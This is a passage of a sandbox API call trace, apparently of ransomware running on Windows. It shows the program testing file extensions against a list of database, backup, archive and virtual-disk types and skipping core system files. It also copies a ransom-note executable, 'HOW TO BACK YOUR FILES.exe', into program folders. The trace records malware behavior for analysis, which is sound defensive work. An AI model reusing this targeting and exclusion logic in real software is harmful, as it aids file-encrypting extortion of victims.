	[0077.055] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1
	[0077.055] lstrlenW (lpString="adp") returned 3
	[0077.055] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1
	[0077.055] lstrlenW (lpString="alf") returned 3
	[0077.055] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1
	[0077.055] lstrlenW (lpString="ask") returned 3
	[0077.055] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1
	[0077.055] lstrlenW (lpString="btr") returned 3
	[0077.055] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1
	[0077.055] lstrlenW (lpString="cat") returned 3
	[0077.055] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1
	[0077.055] lstrlenW (lpString="cdb") returned 3
	[0077.055] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1
	[0077.055] lstrlenW (lpString="ckp") returned 3
	[0077.055] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1
	[0077.055] lstrlenW (lpString="cma") returned 3
	[0077.055] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1
	[0077.055] lstrlenW (lpString="cpd") returned 3
	[0077.055] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1
	[0077.055] lstrlenW (lpString="dacpac") returned 6
	[0077.055] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1
	[0077.055] lstrlenW (lpString="dad") returned 3
	[0077.055] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1
	[0077.055] lstrlenW (lpString="dadiagrams") returned 10
	[0077.055] lstrcmpiW (lpString1="sx.dll.mui", lpString2="dadiagrams") returned 1
	[0077.055] lstrlenW (lpString="daschema") returned 8
	[0077.055] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1
	[0077.055] lstrlenW (lpString="db-journal") returned 10
	[0077.055] lstrcmpiW (lpString1="sx.dll.mui", lpString2="db-journal") returned 1
	[0077.055] lstrlenW (lpString="db-shm") returned 6
	[0077.055] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1
	[0077.055] lstrlenW (lpString="db-wal") returned 6
	[0077.055] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1
	[0077.055] lstrlenW (lpString="dbc") returned 3
	[0077.055] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1
	[0077.055] lstrlenW (lpString="dbs") returned 3
	[0077.056] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1
	[0077.056] lstrlenW (lpString="dbt") returned 3
	[0077.056] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1
	[0077.056] lstrlenW (lpString="dbv") returned 3
	[0077.056] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1
	[0077.056] lstrlenW (lpString="dbx") returned 3
	[0077.056] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1
	[0077.056] lstrlenW (lpString="dcb") returned 3
	[0077.056] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1
	[0077.056] lstrlenW (lpString="dct") returned 3
	[0077.056] lstrcmpiW (lpString1="mui", lpString2="dct") returned 1
	[0077.056] lstrlenW (lpString="dcx") returned 3
	[0077.056] lstrcmpiW (lpString1="mui", lpString2="dcx") returned 1
	[0077.056] lstrlenW (lpString="ddl") returned 3
	[0077.056] lstrcmpiW (lpString1="mui", lpString2="ddl") returned 1
	[0077.056] lstrlenW (lpString="dlis") returned 4
	[0077.056] lstrcmpiW (lpString1=".mui", lpString2="dlis") returned -1
	[0077.056] lstrlenW (lpString="dp1") returned 3
	[0077.056] lstrcmpiW (lpString1="mui", lpString2="dp1") returned 1
	[0077.056] lstrlenW (lpString="dqy") returned 3
	[0077.056] lstrcmpiW (lpString1="mui", lpString2="dqy") returned 1
	[0077.056] lstrlenW (lpString="dsk") returned 3
	[0077.056] lstrcmpiW (lpString1="mui", lpString2="dsk") returned 1
	[0077.056] lstrlenW (lpString="dsn") returned 3
	[0077.056] lstrcmpiW (lpString1="mui", lpString2="dsn") returned 1
	[0077.056] lstrlenW (lpString="dtsx") returned 4
	[0077.056] lstrcmpiW (lpString1=".mui", lpString2="dtsx") returned -1
	[0077.056] lstrlenW (lpString="dxl") returned 3
	[0077.056] lstrcmpiW (lpString1="mui", lpString2="dxl") returned 1
	[0077.056] lstrlenW (lpString="eco") returned 3
	[0077.056] lstrcmpiW (lpString1="mui", lpString2="eco") returned 1
	[0077.056] lstrlenW (lpString="ecx") returned 3
	[0077.056] lstrcmpiW (lpString1="mui", lpString2="ecx") returned 1
	[0077.056] lstrlenW (lpString="edb") returned 3
	[0077.056] lstrcmpiW (lpString1="mui", lpString2="edb") returned 1
	[0077.056] lstrlenW (lpString="epim") returned 4
	[0077.056] lstrcmpiW (lpString1=".mui", lpString2="epim") returned -1
	[0077.057] lstrlenW (lpString="fcd") returned 3
	[0077.057] lstrcmpiW (lpString1="mui", lpString2="fcd") returned 1
	[0077.057] lstrlenW (lpString="fdb") returned 3
	[0077.057] lstrcmpiW (lpString1="mui", lpString2="fdb") returned 1
	[0077.057] lstrlenW (lpString="fic") returned 3
	[0077.057] lstrcmpiW (lpString1="mui", lpString2="fic") returned 1
	[0077.057] lstrlenW (lpString="flexolibrary") returned 12
	[0077.057] lstrcmpiW (lpString1="resx.dll.mui", lpString2="flexolibrary") returned 1
	[0077.057] lstrlenW (lpString="fm5") returned 3
	[0077.057] lstrcmpiW (lpString1="mui", lpString2="fm5") returned 1
	[0077.057] lstrlenW (lpString="fmp") returned 3
	[0077.057] lstrcmpiW (lpString1="mui", lpString2="fmp") returned 1
	[0077.057] lstrlenW (lpString="fmp12") returned 5
	[0077.057] lstrcmpiW (lpString1="l.mui", lpString2="fmp12") returned 1
	[0077.057] lstrlenW (lpString="fmpsl") returned 5
	[0077.057] lstrcmpiW (lpString1="l.mui", lpString2="fmpsl") returned 1
	[0077.057] lstrlenW (lpString="fol") returned 3
	[0077.057] lstrcmpiW (lpString1="mui", lpString2="fol") returned 1
	[0077.057] lstrlenW (lpString="fp3") returned 3
	[0077.057] lstrcmpiW (lpString1="mui", lpString2="fp3") returned 1
	[0077.057] lstrlenW (lpString="fp4") returned 3
	[0077.057] lstrcmpiW (lpString1="mui", lpString2="fp4") returned 1
	[0077.057] lstrlenW (lpString="fp5") returned 3
	[0077.057] lstrcmpiW (lpString1="mui", lpString2="fp5") returned 1
	[0077.057] lstrlenW (lpString="fp7") returned 3
	[0077.057] lstrcmpiW (lpString1="mui", lpString2="fp7") returned 1
	[0077.057] lstrlenW (lpString="fpt") returned 3
	[0077.057] lstrcmpiW (lpString1="mui", lpString2="fpt") returned 1
	[0077.057] lstrlenW (lpString="frm") returned 3
	[0077.057] lstrcmpiW (lpString1="mui", lpString2="frm") returned 1
	[0077.057] lstrlenW (lpString="gdb") returned 3
	[0077.057] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1
	[0077.057] lstrlenW (lpString="gdb") returned 3
	[0077.057] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1
	[0077.057] lstrlenW (lpString="grdb") returned 4
	[0077.057] lstrcmpiW (lpString1=".mui", lpString2="grdb") returned -1
	[0077.057] lstrlenW (lpString="gwi") returned 3
	[0077.057] lstrcmpiW (lpString1="mui", lpString2="gwi") returned 1
	[0077.058] lstrlenW (lpString="hdb") returned 3
	[0077.058] lstrcmpiW (lpString1="mui", lpString2="hdb") returned 1
	[0077.058] lstrlenW (lpString="his") returned 3
	[0077.058] lstrcmpiW (lpString1="mui", lpString2="his") returned 1
	[0077.058] lstrlenW (lpString="ib") returned 2
	[0077.058] lstrcmpiW (lpString1="ui", lpString2="ib") returned 1
	[0077.058] lstrlenW (lpString="idb") returned 3
	[0077.058] lstrcmpiW (lpString1="mui", lpString2="idb") returned 1
	[0077.058] lstrlenW (lpString="ihx") returned 3
	[0077.058] lstrcmpiW (lpString1="mui", lpString2="ihx") returned 1
	[0077.058] lstrlenW (lpString="itdb") returned 4
	[0077.058] lstrcmpiW (lpString1=".mui", lpString2="itdb") returned -1
	[0077.058] lstrlenW (lpString="itw") returned 3
	[0077.058] lstrcmpiW (lpString1="mui", lpString2="itw") returned 1
	[0077.058] lstrlenW (lpString="jet") returned 3
	[0077.058] lstrcmpiW (lpString1="mui", lpString2="jet") returned 1
	[0077.058] lstrlenW (lpString="jtx") returned 3
	[0077.058] lstrcmpiW (lpString1="mui", lpString2="jtx") returned 1
	[0077.058] lstrlenW (lpString="kdb") returned 3
	[0077.058] lstrcmpiW (lpString1="mui", lpString2="kdb") returned 1
	[0077.058] lstrlenW (lpString="kexi") returned 4
	[0077.058] lstrcmpiW (lpString1=".mui", lpString2="kexi") returned -1
	[0077.058] lstrlenW (lpString="kexic") returned 5
	[0077.058] lstrcmpiW (lpString1="l.mui", lpString2="kexic") returned 1
	[0077.058] lstrlenW (lpString="kexis") returned 5
	[0077.058] lstrcmpiW (lpString1="l.mui", lpString2="kexis") returned 1
	[0077.058] lstrlenW (lpString="lgc") returned 3
	[0077.058] lstrcmpiW (lpString1="mui", lpString2="lgc") returned 1
	[0077.058] lstrlenW (lpString="lwx") returned 3
	[0077.058] lstrcmpiW (lpString1="mui", lpString2="lwx") returned 1
	[0077.058] lstrlenW (lpString="maf") returned 3
	[0077.058] lstrcmpiW (lpString1="mui", lpString2="maf") returned 1
	[0077.058] lstrlenW (lpString="maq") returned 3
	[0077.058] lstrcmpiW (lpString1="mui", lpString2="maq") returned 1
	[0077.058] lstrlenW (lpString="mar") returned 3
	[0077.058] lstrcmpiW (lpString1="mui", lpString2="mar") returned 1
	[0077.058] lstrlenW (lpString="marshal") returned 7
	[0077.058] lstrcmpiW (lpString1="dll.mui", lpString2="marshal") returned -1
	[0077.059] lstrlenW (lpString="mas") returned 3
	[0077.059] lstrcmpiW (lpString1="mui", lpString2="mas") returned 1
	[0077.059] lstrlenW (lpString="mav") returned 3
	[0077.059] lstrcmpiW (lpString1="mui", lpString2="mav") returned 1
	[0077.059] lstrlenW (lpString="maw") returned 3
	[0077.059] lstrcmpiW (lpString1="mui", lpString2="maw") returned 1
	[0077.059] lstrlenW (lpString="mdbhtml") returned 7
	[0077.059] lstrcmpiW (lpString1="dll.mui", lpString2="mdbhtml") returned -1
	[0077.059] lstrlenW (lpString="mdn") returned 3
	[0077.059] lstrcmpiW (lpString1="mui", lpString2="mdn") returned 1
	[0077.059] lstrlenW (lpString="mdt") returned 3
	[0077.059] lstrcmpiW (lpString1="mui", lpString2="mdt") returned 1
	[0077.059] lstrlenW (lpString="mfd") returned 3
	[0077.059] lstrcmpiW (lpString1="mui", lpString2="mfd") returned 1
	[0077.059] lstrlenW (lpString="mpd") returned 3
	[0077.059] lstrcmpiW (lpString1="mui", lpString2="mpd") returned 1
	[0077.059] lstrlenW (lpString="mrg") returned 3
	[0077.059] lstrcmpiW (lpString1="mui", lpString2="mrg") returned 1
	[0077.059] lstrlenW (lpString="mud") returned 3
	[0077.059] lstrcmpiW (lpString1="mui", lpString2="mud") returned 1
	[0077.059] lstrlenW (lpString="mwb") returned 3
	[0077.059] lstrcmpiW (lpString1="mui", lpString2="mwb") returned -1
	[0077.059] lstrlenW (lpString="myd") returned 3
	[0077.059] lstrcmpiW (lpString1="mui", lpString2="myd") returned -1
	[0077.059] lstrlenW (lpString="ndf") returned 3
	[0077.059] lstrcmpiW (lpString1="mui", lpString2="ndf") returned -1
	[0077.059] lstrlenW (lpString="nnt") returned 3
	[0077.059] lstrcmpiW (lpString1="mui", lpString2="nnt") returned -1
	[0077.059] lstrlenW (lpString="nrmlib") returned 6
	[0077.059] lstrcmpiW (lpString1="ll.mui", lpString2="nrmlib") returned -1
	[0077.059] lstrlenW (lpString="ns2") returned 3
	[0077.059] lstrcmpiW (lpString1="mui", lpString2="ns2") returned -1
	[0077.059] lstrlenW (lpString="ns3") returned 3
	[0077.059] lstrcmpiW (lpString1="mui", lpString2="ns3") returned -1
	[0077.059] lstrlenW (lpString="ns4") returned 3
	[0077.059] lstrcmpiW (lpString1="mui", lpString2="ns4") returned -1
	[0077.059] lstrlenW (lpString="nsf") returned 3
	[0077.059] lstrcmpiW (lpString1="mui", lpString2="nsf") returned -1
	[0077.060] lstrlenW (lpString="nv") returned 2
	[0077.060] lstrcmpiW (lpString1="ui", lpString2="nv") returned 1
	[0077.060] lstrlenW (lpString="nv2") returned 3
	[0077.060] lstrcmpiW (lpString1="mui", lpString2="nv2") returned -1
	[0077.060] lstrlenW (lpString="nwdb") returned 4
	[0077.060] lstrcmpiW (lpString1=".mui", lpString2="nwdb") returned -1
	[0077.060] lstrlenW (lpString="nyf") returned 3
	[0077.060] lstrcmpiW (lpString1="mui", lpString2="nyf") returned -1
	[0077.060] lstrlenW (lpString="odb") returned 3
	[0077.060] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1
	[0077.060] lstrlenW (lpString="odb") returned 3
	[0077.060] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1
	[0077.060] lstrlenW (lpString="oqy") returned 3
	[0077.060] lstrcmpiW (lpString1="mui", lpString2="oqy") returned -1
	[0077.060] lstrlenW (lpString="ora") returned 3
	[0077.060] lstrcmpiW (lpString1="mui", lpString2="ora") returned -1
	[0077.060] lstrlenW (lpString="orx") returned 3
	[0077.060] lstrcmpiW (lpString1="mui", lpString2="orx") returned -1
	[0077.060] lstrlenW (lpString="owc") returned 3
	[0077.060] lstrcmpiW (lpString1="mui", lpString2="owc") returned -1
	[0077.060] lstrlenW (lpString="p96") returned 3
	[0077.060] lstrcmpiW (lpString1="mui", lpString2="p96") returned -1
	[0077.060] lstrlenW (lpString="p97") returned 3
	[0077.060] lstrcmpiW (lpString1="mui", lpString2="p97") returned -1
	[0077.060] lstrlenW (lpString="pan") returned 3
	[0077.060] lstrcmpiW (lpString1="mui", lpString2="pan") returned -1
	[0077.060] lstrlenW (lpString="pdb") returned 3
	[0077.060] lstrcmpiW (lpString1="mui", lpString2="pdb") returned -1
	[0077.060] lstrlenW (lpString="pdm") returned 3
	[0077.060] lstrcmpiW (lpString1="mui", lpString2="pdm") returned -1
	[0077.060] lstrlenW (lpString="pnz") returned 3
	[0077.060] lstrcmpiW (lpString1="mui", lpString2="pnz") returned -1
	[0077.060] lstrlenW (lpString="qry") returned 3
	[0077.060] lstrcmpiW (lpString1="mui", lpString2="qry") returned -1
	[0077.060] lstrlenW (lpString="qvd") returned 3
	[0077.060] lstrcmpiW (lpString1="mui", lpString2="qvd") returned -1
	[0077.060] lstrlenW (lpString="rbf") returned 3
	[0077.060] lstrcmpiW (lpString1="mui", lpString2="rbf") returned -1
	[0077.060] lstrlenW (lpString="rctd") returned 4
	[0077.060] lstrcmpiW (lpString1=".mui", lpString2="rctd") returned -1
	[0077.061] lstrlenW (lpString="rod") returned 3
	[0077.061] lstrcmpiW (lpString1="mui", lpString2="rod") returned -1
	[0077.061] lstrlenW (lpString="rodx") returned 4
	[0077.061] lstrcmpiW (lpString1=".mui", lpString2="rodx") returned -1
	[0077.061] lstrlenW (lpString="rpd") returned 3
	[0077.061] lstrcmpiW (lpString1="mui", lpString2="rpd") returned -1
	[0077.061] lstrlenW (lpString="rsd") returned 3
	[0077.061] lstrcmpiW (lpString1="mui", lpString2="rsd") returned -1
	[0077.061] lstrlenW (lpString="sas7bdat") returned 8
	[0077.061] lstrcmpiW (lpString1=".dll.mui", lpString2="sas7bdat") returned -1
	[0077.061] lstrlenW (lpString="sbf") returned 3
	[0077.061] lstrcmpiW (lpString1="mui", lpString2="sbf") returned -1
	[0077.061] lstrlenW (lpString="scx") returned 3
	[0077.061] lstrcmpiW (lpString1="mui", lpString2="scx") returned -1
	[0077.061] lstrlenW (lpString="sdb") returned 3
	[0077.061] lstrcmpiW (lpString1="mui", lpString2="sdb") returned -1
	[0077.061] lstrlenW (lpString="sdc") returned 3
	[0077.061] lstrcmpiW (lpString1="mui", lpString2="sdc") returned -1
	[0077.061] lstrlenW (lpString="sdf") returned 3
	[0077.061] lstrcmpiW (lpString1="mui", lpString2="sdf") returned -1
	[0077.061] lstrlenW (lpString="sis") returned 3
	[0077.061] lstrcmpiW (lpString1="mui", lpString2="sis") returned -1
	[0077.061] lstrlenW (lpString="spq") returned 3
	[0077.061] lstrcmpiW (lpString1="mui", lpString2="spq") returned -1
	[0077.061] lstrlenW (lpString="te") returned 2
	[0077.061] lstrcmpiW (lpString1="ui", lpString2="te") returned 1
	[0077.061] lstrlenW (lpString="teacher") returned 7
	[0077.061] lstrcmpiW (lpString1="dll.mui", lpString2="teacher") returned -1
	[0077.061] lstrlenW (lpString="tmd") returned 3
	[0077.061] lstrcmpiW (lpString1="mui", lpString2="tmd") returned -1
	[0077.061] lstrlenW (lpString="tps") returned 3
	[0077.061] lstrcmpiW (lpString1="mui", lpString2="tps") returned -1
	[0077.061] lstrlenW (lpString="trc") returned 3
	[0077.061] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1
	[0077.061] lstrlenW (lpString="trc") returned 3
	[0077.061] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1
	[0077.061] lstrlenW (lpString="trm") returned 3
	[0077.061] lstrcmpiW (lpString1="mui", lpString2="trm") returned -1
	[0077.062] lstrlenW (lpString="udb") returned 3
	[0077.062] lstrcmpiW (lpString1="mui", lpString2="udb") returned -1
	[0077.062] lstrlenW (lpString="udl") returned 3
	[0077.062] lstrcmpiW (lpString1="mui", lpString2="udl") returned -1
	[0077.062] lstrlenW (lpString="usr") returned 3
	[0077.062] lstrcmpiW (lpString1="mui", lpString2="usr") returned -1
	[0077.062] lstrlenW (lpString="v12") returned 3
	[0077.062] lstrcmpiW (lpString1="mui", lpString2="v12") returned -1
	[0077.062] lstrlenW (lpString="vis") returned 3
	[0077.062] lstrcmpiW (lpString1="mui", lpString2="vis") returned -1
	[0077.062] lstrlenW (lpString="vpd") returned 3
	[0077.062] lstrcmpiW (lpString1="mui", lpString2="vpd") returned -1
	[0077.062] lstrlenW (lpString="vvv") returned 3
	[0077.062] lstrcmpiW (lpString1="mui", lpString2="vvv") returned -1
	[0077.062] lstrlenW (lpString="wdb") returned 3
	[0077.062] lstrcmpiW (lpString1="mui", lpString2="wdb") returned -1
	[0077.062] lstrlenW (lpString="wmdb") returned 4
	[0077.062] lstrcmpiW (lpString1=".mui", lpString2="wmdb") returned -1
	[0077.062] lstrlenW (lpString="wrk") returned 3
	[0077.062] lstrcmpiW (lpString1="mui", lpString2="wrk") returned -1
	[0077.062] lstrlenW (lpString="xdb") returned 3
	[0077.062] lstrcmpiW (lpString1="mui", lpString2="xdb") returned -1
	[0077.062] lstrlenW (lpString="xld") returned 3
	[0077.062] lstrcmpiW (lpString1="mui", lpString2="xld") returned -1
	[0077.062] lstrlenW (lpString="xmlff") returned 5
	[0077.062] lstrcmpiW (lpString1="l.mui", lpString2="xmlff") returned -1
	[0077.062] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0077.062] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0077.062] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c90
	[0077.062] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI"
	[0077.062] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591a40 | out: hHeap=0x580000) returned 1
	[0077.062] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0077.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI") returned 56
	[0077.062] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI"
	[0077.062] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.063] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0077.079] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.079] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x46009b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x46009b10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0077.080] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.080] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.080] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.080] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x46009b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x46009b10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.080] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.080] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0077.080] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0077.080] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0077.080] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46009b10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x46009b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0077.080] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0077.080] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe47dd5b4, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4a64ce1, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4a64ce1, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0077.080] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.080] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0077.080] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1
	[0077.080] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1
	[0077.080] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="windows") returned -1
	[0077.080] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1
	[0077.080] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="temp") returned 1
	[0077.080] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="pagefile.sys") returned 1
	[0077.080] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot") returned 1
	[0077.080] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ids.txt") returned 1
	[0077.080] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1
	[0077.080] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="perflogs") returned 1
	[0077.080] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="MSBuild") returned 1
	[0077.080] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0077.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\*") returned 58
	[0077.080] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0077.080] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0077.080] lstrlenW (lpString="Apollon865") returned 10
	[0077.080] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0077.080] lstrlenW (lpString=".dll") returned 4
	[0077.080] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".dll") returned 1
	[0077.081] lstrlenW (lpString=".lnk") returned 4
	[0077.081] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".lnk") returned 1
	[0077.081] lstrlenW (lpString=".ini") returned 4
	[0077.081] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".ini") returned 1
	[0077.081] lstrlenW (lpString=".sys") returned 4
	[0077.081] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".sys") returned 1
	[0077.081] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0077.081] lstrlenW (lpString="bak") returned 3
	[0077.081] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1
	[0077.081] lstrlenW (lpString="ba_") returned 3
	[0077.081] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1
	[0077.081] lstrlenW (lpString="dbb") returned 3
	[0077.081] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1
	[0077.081] lstrlenW (lpString="vmdk") returned 4
	[0077.081] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1
	[0077.081] lstrlenW (lpString="rar") returned 3
	[0077.081] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1
	[0077.081] lstrlenW (lpString="zip") returned 3
	[0077.081] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1
	[0077.081] lstrlenW (lpString="tgz") returned 3
	[0077.081] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1
	[0077.081] lstrlenW (lpString="vbox") returned 4
	[0077.081] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1
	[0077.081] lstrlenW (lpString="vdi") returned 3
	[0077.081] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1
	[0077.081] lstrlenW (lpString="vhd") returned 3
	[0077.081] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1
	[0077.081] lstrlenW (lpString="vhdx") returned 4
	[0077.081] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1
	[0077.081] lstrlenW (lpString="avhd") returned 4
	[0077.081] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1
	[0077.081] lstrlenW (lpString="db") returned 2
	[0077.081] lstrcmpiW (lpString1="ui", lpString2="db") returned 1
	[0077.081] lstrlenW (lpString="db2") returned 3
	[0077.081] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1
	[0077.081] lstrlenW (lpString="db3") returned 3
	[0077.081] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1
	[0077.081] lstrlenW (lpString="dbf") returned 3
	[0077.082] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1
	[0077.082] lstrlenW (lpString="mdf") returned 3
	[0077.082] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1
	[0077.082] lstrlenW (lpString="mdb") returned 3
	[0077.082] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1
	[0077.082] lstrlenW (lpString="sql") returned 3
	[0077.082] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1
	[0077.082] lstrlenW (lpString="sqlite") returned 6
	[0077.082] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1
